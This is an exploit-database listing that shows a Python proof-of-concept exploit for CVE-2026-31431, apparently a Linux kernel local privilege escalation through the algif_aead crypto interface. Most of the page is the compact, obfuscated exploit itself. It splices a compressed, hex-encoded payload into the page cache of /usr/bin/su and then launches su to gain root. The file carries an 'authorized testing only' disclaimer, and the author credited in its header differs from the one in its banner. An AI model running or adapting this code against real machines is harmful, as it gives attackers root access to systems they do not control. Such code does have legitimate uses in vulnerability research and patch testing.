Exploit databaseDownload repository ZIP
GH-a055222b2ea5fcefaae8fded1d8213d7
sl4ck0th/cve-2026-31431-poc
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
sl4ck0th/cve-2026-31431-pocRevision 103d1ba20fa2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2026-31431-PoC.py
Python · 3,390 bytes#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-31431 — Copy Fail Linux LPE PoC ║
╠══════════════════════════════════════════════════════════════════╣
║ Author : Van Glenndon Enad ║
║ Discovery : Theori / Xint Code Research (Taeyang Lee) ║
║ Reference : https://copy.fail ║
║ Severity : High | CVSS v3.1: 7.8 ║
║ CWE : CWE-787 (Out-of-bounds Write) ║
╠══════════════════════════════════════════════════════════════════╣
║ LEGAL: For authorized security research only. ║
║ Do not use on systems you do not own or have permission to test.║
╚══════════════════════════════════════════════════════════════════╝
"""
import os,sys
R="\033[91m";G="\033[92m";Y="\033[93m";B="\033[94m";W="\033[1m";E="\033[0m"
print(f"""{W}{R}
██████╗ ██████╗ ██████╗ ██╗ ██╗ ███████╗ █████╗ ██╗██╗
██╔════╝██╔═══██╗██╔══██╗╚██╗ ██╔╝ ██╔════╝██╔══██╗██║██║
██║ ██║ ██║██████╔╝ ╚████╔╝ █████╗ ███████║██║██║
██║ ██║ ██║██╔═══╝ ╚██╔╝ ██╔══╝ ██╔══██║██║██║
╚██████╗╚██████╔╝██║ ██║ ██║ ██║ ██║██║███████╗
╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝{E}
{W} CVE-2026-31431 — Linux Kernel LPE via algif_aead Page Cache Write{E}
{B}Discovery :{E} Theori / Xint Code Research (Taeyang Lee)
{B}Author :{E} Zor0ark {Y}[ For authorized testing only ]{E}
""")
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")